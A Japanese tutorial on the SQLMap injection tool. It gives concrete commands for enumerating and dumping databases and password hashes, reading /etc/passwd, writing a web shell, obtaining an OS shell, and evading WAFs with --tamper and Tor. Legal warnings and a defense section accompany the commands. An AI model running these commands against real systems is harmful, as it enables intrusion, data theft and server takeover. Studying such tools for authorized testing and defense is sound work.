SQLMap は Bernardo Damele A.G. と Miroslav Stampar によって開発された Python 製のオープンソースツールで、SQL インジェクション (SQLi) の検出から悪用、そして DB サーバの乗っ取りまでを自動化する。手作業の SQL インジェクション がペイロードの調整・レスポンス差分の観察・DBMS ごとの構文の使い分けを延々と要求するのに対し、SQLMap は これらをまるごと自動化する。MySQL / PostgreSQL / Microsoft SQL Server / Oracle / SQLite など主要 DBMS を自動でフィンガープリントし、注入箇所を見つけ、データを抜き、条件が揃えば OS シェルまで奪う。本稿では SQL インジェクション の理論を前提に、SQLMap の実際の使い方を整理する (SQLi の仕組みそのものは当該記事を参照)。
SQLMap とは — 手作業の SQLi を自動化する #
SQL インジェクション の記事では、' OR 1=1 のような注入から UNION でのカラム数特定、Blind での 1 ビットずつの抽出までを人間が手で組み立てる過程を解説した。SQLMap はその一連の流れをエンジン化したツールだ。注入の可能性がある 1 つのパラメータを与えると、SQLMap は複数のテクニックを順に試し、効くものを見つけ、背後の DBMS を特定し、そこから自動でデータベース・テーブル・カラム・行を引き出す。
| 手作業 (sql-injection 記事) | SQLMap での自動化 |
|---|---|
| 注入点の発見 (引用符・OR 1=1) | 複数テクニックを自動試行して判定 |
| DBMS の推測 (エラー文・関数差) | --dbms ヒント or 自動フィンガープリント |
| UNION のカラム数を手で特定 | UNION テクニックを自動調整 |
| Blind で 1 文字ずつ抽出 | 二分探索でビット抽出を自動化 |
| 抜いたデータを手で整形 | テーブル形式で自動ダンプ・保存 |
SQLMap が試すのは --technique=BEUSTQ で表される 6 系統 — Boolean ブラインド / Error ベース / UNION / Stacked クエリ / Time ベースブラインド / inline Query。SQL インジェクション で扱った系統がそのままフラグの 1 文字に対応している。
SQLMap は結果 (検出した注入点・抜いたデータ) を専用の出力ディレクトリに保存する。同じターゲットに再実行すると前回のセッションを再開し、判明済みの情報を使い回すため、何度も最初からスキャンし直す必要がない。長時間の Blind 抽出を中断・再開できるのもこの仕組みのおかげ。
法的・倫理的な注意 — --dump は実データを抜く #
SQLMap は単なる「検出ツール」ではない。--dump は本物のユーザ情報・パスワードハッシュ・個人情報を実際にサーバから抜き出すし、--os-shell はDB サーバ上で任意の OS コマンドを実行する。これは技術的に見れば完成された攻撃そのものであり、許可なく他人のシステムへ向ければ不正アクセス禁止法・データの窃取/改ざんに問われ得る重大な犯罪になる。
- 自分が所有・管理しているアプリ — 自作 Web アプリ、自分が契約している VPS、隔離した検証環境
- 書面で明示的に許可された対象 — ペネトレーションテスト契約や脆弱性診断契約で、スコープ (対象ホスト・期間・許容操作) が文書化されているもの
- 正規の学習プラットフォーム — DVWA、Hack The Box (HTB)、TryHackMe (THM) など、運営が攻撃を許可している学習用ラボ
--dump や --os-shell は「試しに撃ってみる」では済まない。抜いたデータがメモリやディスクに残った時点で、たとえ悪用しなくても情報窃取が成立し得る。診断であっても、許可された対象とスコープを必ず先に確認すること。
⚠️ SQLMap は侵入的な操作ほど明確な「攻撃」になる。列挙 (
--dbs等) はまだしも、--dump-all/--os-shell/--file-writeはデータの取得・改ざん・コード実行に直結する。スコープに含まれない操作は決して行わない。
ターゲット指定 — どこを注入点として渡すか #
SQLMap にまず教えるのは「どのリクエストの、どのパラメータを試すか」。最も基本は -u (= --url) で URL を渡す方式だ。
$ sqlmap -u "http://site/item.php?id=1" --batch --dbs
# -u テスト対象 URL(注入点を含む)
# --batch 対話プロンプトを既定値で自動応答(非対話)
# --dbs 検出後にデータベース一覧を取得GET の URL だけでなく、Burp などで保存した生の HTTP リクエストファイルをそのまま渡せるのが実戦的。Cookie・ヘッダ・POST ボディを丸ごと再現できるため、認証後ページや複雑なリクエストに強い。
| 入力オプション | 意味 |
|---|---|
-u "URL" / --url | 対象 URL を直接指定 |
-r req.txt | 保存した HTTP リクエスト (Burp 等) を読み込む |
--data="id=1&name=test" | POST ボディを指定 (自動的に POST になる) |
-p id | テストするパラメータを限定 |
--cookie="..." | Cookie を付与 (セッション維持) |
-H "..." / --headers="..." | 任意のヘッダを付与 |
--method=POST | HTTP メソッドを明示 |
--forms | ページ内のフォームを解析してテスト |
--crawl=2 | サイトを深さ 2 までクロールして注入点を探す |
$ sqlmap -r req.txt -p id --batch
# -r req.txt Burp 等で保存した生リクエストを読む
# -p id 多数のパラメータがあっても id だけに絞る
# Cookie やヘッダは req.txt の内容がそのまま使われる注入点が分かっているなら -r req.txt -p id のように対象を 1 つに絞るのが速くて静か。--forms や --crawl は探索範囲を広げる代わりに大量のリクエストを撃つため、スコープと負荷に注意する。
検出チューニング — level / risk / technique / batch #
SQLMap は既定では控えめにしかテストしない (誤検知と負荷を避けるため)。検出力を上げる主役が --level と --risk、絞り込むのが --technique と --dbms だ。
| オプション | 範囲 / 値 | 意味 |
|---|---|---|
--level | 1〜5 (既定 1) | テストする箇所と量。上げるとヘッダや Cookie まで試す |
--risk | 1〜3 (既定 1) | テストの危険度。上げると重い/副作用のあるペイロードも使う |
--technique | BEUSTQ | 使うテクニックを限定 (B/E/U/S/T/Q) |
--dbms | 例 mysql | DBMS を指定/強制してフィンガープリントを省く |
--batch | — | すべてのプロンプトに既定値で自動応答 (非対話) |
--level / --risk を上げると検出率は上がるがリクエスト数と副作用リスクも増える。最初は既定のまま試し、当たらないときに段階的に上げるのが定石。
$ sqlmap -u "http://site/item.php?id=1" --level=5 --risk=3 --batch
# --level=5 ヘッダ・Cookie まで含め最も多くの箇所をテスト
# --risk=3 副作用のある重いペイロードまで許可
# 既定で見つからない頑固な注入点を炙り出すとき向け--risk=3 はデータを変えうるペイロードを含む。本番環境や許可範囲が曖昧な対象では安易に上げない。--dbms=mysql のように DBMS が分かっているなら指定しておくと、無関係なペイロードを省いて速く・静かになる。
列挙とダンプ — DB → テーブル → カラム → データ #
注入点が確定したら、あとは段階的に掘り下げる。SQLMap の列挙は「全体像をつかむフラグ」と「スコープを絞るセレクタ」の組み合わせで進める。
--dbs で全 DB 名を取得。--current-db で接続中の DB だけ確認も可。-D appdb --tables で対象 DB のテーブルを列挙。-D appdb -T users --columns で目的テーブルの列構成を把握。-D appdb -T users --dump で行データを抜き出す。-C で列を絞れる。| 列挙フラグ | 取得するもの |
|---|---|
--dbs | すべてのデータベース名 |
--current-db / --current-user | 接続中の DB / DB ユーザ |
--is-dba | 現在のユーザが DBA かどうか |
--users / --passwords | DB アカウント / そのパスワードハッシュ |
--tables / --columns | テーブル / カラムの一覧 |
--dump / --dump-all | 対象データ / 全 DB のデータを抽出 |
-D / -T / -C | DB / テーブル / カラムにスコープを限定 |
$ sqlmap -r req.txt -p id --batch -D appdb -T users --dump
# -D appdb -T users appdb の users テーブルに限定
# --dump その行データを抜き出してテーブル表示・保存
# -C user,password と書けば列も絞れる--dump が返すのは実在するユーザのメール・パスワードハッシュ・個人情報そのもの。--dump-all は全 DB を対象にするため被害規模が桁違いになる。検証ラボ以外では許可されたテーブルのみに -D / -T / -C で厳密にスコープを切ること。
テイクオーバーと回避 — シェル奪取と WAF バイパス #
条件 (権限・スタッククエリ可否・書き込み先など) が揃えば、SQLMap はデータ抽出を超えて DB サーバそのものの操作に踏み込める。これらは最も侵入的で危険な機能であり、スコープ外では絶対に使ってはならない。
| テイクオーバー | できること | 危険度 |
|---|---|---|
--os-shell | DB サーバ上で対話的な OS シェルを取得 | 最高 |
--sql-shell | 対話的に任意の SQL を実行 | 高 |
--file-read=/etc/passwd | サーバ上のファイルを読み取る | 高 |
--file-write=local --file-dest=/var/www/shell.php | ローカルファイルをサーバへ書き込む | 最高 |
$ sqlmap -u "http://site/item.php?id=1" --os-shell
# --os-shell 注入経由で DB サーバ上に OS シェルを確立しようと試みる
# 成功すれば任意の OS コマンドを実行できる = 完全な侵害
# --file-read / --file-write もファイル単位の侵入的操作WAF や IPS が間に入っている場合、SQLMap には回避とネットワーク制御のオプションがある。--tamper はペイロードを変形してシグネチャ検知をかわす仕組みで、これが狙うのは SQL インジェクション 対策として置かれた WAF そのものだ。
| 回避 / ネットワーク | 効果 |
|---|---|
--random-agent | User-Agent をランダム化して既定の指紋を隠す |
--proxy="http://127.0.0.1:8080" | プロキシ経由 (Burp に流して観察・記録) |
--tor | Tor ネットワーク経由で送信 |
--tamper=space2comment | ペイロードを変形して WAF のシグネチャをかわす |
--threads=5 | 並列スレッド数を上げて高速化 |
SQLMap のスキャンは短時間に大量の異常な SQL ペイロードがアクセスログに並ぶ、既定の User-Agent (sqlmap/x.x) が残る、といった形で容易に検知できる。WAF・レート制限・異常クエリ監視で大半は弾ける。--random-agent / --tamper / --tor は痕跡を減らすが、正規の診断では許可スコープ内で行うことが大前提であり、痕跡を残すこと自体は問題ではない。
防御と sql-injection 記事との関係 #
SQLMap が「効く」ということは、そのアプリに SQL インジェクション の脆弱性が現に存在することを意味する。つまり SQLMap への最良の対策は、SQLi そのものを根絶することに尽きる。詳細は SQL インジェクション の記事に譲り、ここでは SQLMap の各機能と防御の対応だけを整理する。
| 防御策 | SQLMap の何を無力化するか |
|---|---|
| プリペアドステートメント / パラメータ化クエリ | 注入そのものを成立させない (根本対策) |
| 最小権限の DB アカウント | --os-shell / --file-write / --dump-all の被害を限定 |
| WAF | 既知ペイロードは弾くが --tamper で回避され得る |
| 入力バリデーション | 補助的。単独では不十分だが多層防御の一枚 |
SQLMap は新しい脆弱性を作り出すわけではなく、SQL インジェクション という既存の穴を機械的に・徹底的に突くツールだ。だから防御の答えは一貫している — プリペアドステートメントで注入を成立させず、最小権限で被害を封じ込め、WAF と監視で多層に守る。攻撃者が SQLMap を使う前提で考えれば、「1 箇所でも文字列連結で SQL を組み立てている」ことがどれほど致命的かが分かる。手作業の理屈は SQL インジェクション 記事で、その自動化の実際は本稿で押さえておくとよい。